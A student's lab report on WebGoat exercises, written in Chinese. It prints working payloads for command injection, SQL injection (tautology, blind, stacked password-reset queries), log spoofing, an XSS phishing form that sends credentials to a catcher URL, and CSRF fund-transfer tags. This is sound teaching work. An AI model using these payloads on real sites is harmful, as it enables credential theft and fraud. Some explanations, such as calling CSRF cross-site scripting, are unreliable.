2019-2020-2 20175226王鹏雲《网络对抗技术》Exp9 Web安全基础
实验内容
- 理解常用网络攻击技术的基本原理,做不少于7个题目,包括SQL,XSS,CSRF(Webgoat实践下相关实验)
- WebGoat安装
- SQL注入攻击
- 命令注入(Command Injection)
- 数字型注入(Numeric SQL Injection)
- 日志欺骗(Log Spoofing)
- 字符串注入(String SQL Injection)
- SQL 注入(LAB: SQL Injection)
- 数据库后门(Database Backdoors)
- 数字型盲注入(Blind Numeric SQL Injection)
- 字符串型盲注入(Blind String SQL Injection) - XSS攻击
- XSS 钓鱼(Phishing with XSS)
- 存储型XSS攻击(Stored XSS Attacks)
- 反射型XSS攻击(Reflected XSS Attacks) - CSRF攻击
- 跨站请求伪造(Cross Site Request Forgery (CSRF))
- 绕过 CSRF 确认( CSRF Prompt By‐Pass)
实验过程
任务一、WebGoat安装及环境搭建
-
WebGoat下载地址:webgoat-container-7.1-exec.jar
-
在下载目录下运行终端输入命令
java -jar webgoat-container-7.1-exec.jar
-
当终端中出现
Starting ProtocolHandler ["http-bio-8080"]
时,WebGoat搭建完毕(不要关闭终端) -
在浏览器中输入
http://127.0.0.1:8080/WebGoat/login.mvc
,进入登录界面,下面有提供guest
直接登录即可 -
由于WebGoat的版本问题,可能在打开后发现左边没有各项课程
-
我们需要更换Javaversion,详细步骤
-
更新完成界面
任务二、SQL注入攻击
命令注入--Command Injection
命令注入攻击是在正常的参数提交过程中,添加恶意的代码的攻击方法,它向操作系统注入命令,使用系统命令获取文件的内容,它对针对任何一个以参数驱动的站点,技术方法简单易学,能造成大范围的损害,危及系统安全,尽管这类风险数目很多,但互联网中的系统很容易受到这种形>>式的攻击。
- 右键表单选择框的下拉框,选择
Inspect Element
审查网页元素,然后修改源代码
- 在复选框中任意一栏的代码,右键单击后,选择
Edit At Html
进行修改,添加"& ps -ef"
- 保存后下拉框中可以看到我们刚刚修改的选项,点击view,可以看到进程信息
数字型注入--Numeric SQL Injection
注入数字型数据(如:永真式)达到注入的效果,在station字段中注入特征字符,组合成新的SQL语句。如:
SELECT * FROM weather_data WHERE station = [station]
- 修改源代码,进行SQL注入。在某个选项的value值后面,加上代码
or 1=1
,使该式子成为永真式
- SQL语句变为了
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
,后面是永真式。所以这样会执行语句SELECT * FROM weather_data
,这样就可以获得所有地区的天气信息了
日志欺骗--Log Spoofing
添加假的日志信息来迷惑操作系统,目的是让用户名admin成功登录,通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹,攻击者还可以利用这种方式向日志文件中添加恶意脚本
- 在
User Name
输入wpy%0d%0aLogin Succeeded for username: admin
,%0d
是空格,%0a
是换行 - 点击登录出现两行,一行提示wpy登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了
字符串注入--String SQL Injection
下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。和数字型一样,我们的目的是构建一个永真式.
- 由于字符串在数据库中是由‘构成的,我们在last name中输入Smith‘ OR ‘1‘=‘1所有的用户信息被输出
实验室stage1--String SQL Injection
- 对源代码进行修改,将password密码框的最大长度限制改为20或更大
- 以用户
Neville(admit)
登录,输入密码hello‘ or ‘1‘ = ‘1
,成功得到所有人员列表
实验室stage3--Numeric SQL Injection
- 目的是用员工的账户登录,浏览boss的账户
- 首先用Larry的账号登录,密码同账号
- 点击ViewProfile可以查看用户信息,那么我们要做的,就是点击这个按钮后跳转到boss的信息。
- 查看网页源代码,可以看到索引的依据是员工ID,可是我们不知道老板的ID怎么办?数据库中可以使用排序来筛选信息,而老板一般工资都是最高的,将id的value改成
101 or 1=1 order by salary desc
- 点击
ViewProfile
,成功得到老板的账户信息
数据库后门--Database Backdoors
数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器,可以利用查询的脆弱性创建触发器
- 根据提示,输入id为101
- 我们可以看到插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查
- 输入注入语句
101; update employee set Password=5226
执行,可以看见密码框变为了设置的密码
数字型盲注入--Blind Numeric SQL Injection
- 目的是知道pin在pins 表里的值,先尝试
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 100 );
看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的
- 不断用二分法进行测试,发现pin为2364
字符串盲注入--Blind String SQL Injection
- 与上一个数字型盲注入基本相同,只是pin字段类型为
varchar
- 查询语句类似上一节:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) <‘H‘ );
任务三、XSS攻击
XSS 钓鱼(Phishing with XSS)
如果有权限操作页面源代码,HTML文档的内容是可以被篡改的,当用户输入非法HTTP响应时容易受到XSS攻击,在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容, 对于受害者来说很难发现该内容是否存在威胁
- 根据要求,我们编写代码,设计一个简单的登录界面获取用户名和密码并发送到指定地方
- 被攻击者填写一个表格
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 点击搜索,看到下面有个登录界面,登录提示
存储型XSS攻击--Stored XSS Attacks
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中.因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
- 在
title
中任意wpy
。在Message中输入代码<script>alert(‘20175226wpy‘)</script>
- 然后下面会出现
wpy
的链接,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175226wpy
,证明XSS攻击成功
反射型XSS攻击--Reflected XSS Attacks
在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它,发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行
- 输入代码
<script>alert("wpy5226");</script>
,点击Purchase
,成功显示警告框,内容为我们script脚本写的wpy5226
任务四、CSRF攻击
跨站请求伪造--Cross Site Request Forgery (CSRF)
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段,通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能
- 根据当前访问URL中的
scr
和menu
在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
- 提交后会发现链接,点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了
绕过 CSRF 确认--CSRF Prompt By‐Pass
跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它
- 与上一个攻击相似,查看页面右侧
Parameters
中的src
和menu
值分别为1471017872和900,并在title
框中输入学号,message
框中输入代码:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 在
Message List
中生成以title
命名的链接,点击进入后,攻击成功
实验结论
基础问题回答
(1)SQL注入攻击原理,如何防御
- 程序对用户输入数据的合法性没有判断就直接插入查询语句,攻击者就可以添加额外的SQL语句或使用注释字符得到额外的信息
- 防御:
- 对输入的字符串进行处理,筛除特殊字符
- 普通用户与系统管理员用户的权限要有严格的区分
(2)XSS攻击的原理,如何防御
- 用户在输入框输入JavaScript代码,提交的时候直接执行,有办法获得网站的cookie
- 防御:
- 表单提交的时候进行特殊字符的检测
- 对输入框做长度限制
- 在后台对数据进行过滤
(3)CSRF攻击原理,如何防御
- CSRF是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。一般存在XSS漏洞的网站,也极有可能存在CSRF漏洞。
- 防御:
- 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
- 将提交方法改为post
- 定期清理cookie
- 使用随机数对表单中的值进行验证
实验总结与反思
- 这次实验属于web安全的范畴,主要利用了三方面的攻击手段,实验因为有之前学姐们的参考,加上WebGaot这个平台确实功能很多,运行起来也很稳定,所以整个实验流程也很顺利。通过实验还是认识到了很多web方面的漏洞知识,代码这东西还是需要细细琢磨才能把这些东西做好。
- 这也是这学期最后一个实验了吧,回看这么多实验确实感觉收获满满,因为一些原因嘛,我们没有办法回学校,所有实验肯定都是自主完成,也锻炼了自己自主学习能力,通过动手也更加透彻的学习到了相关知识。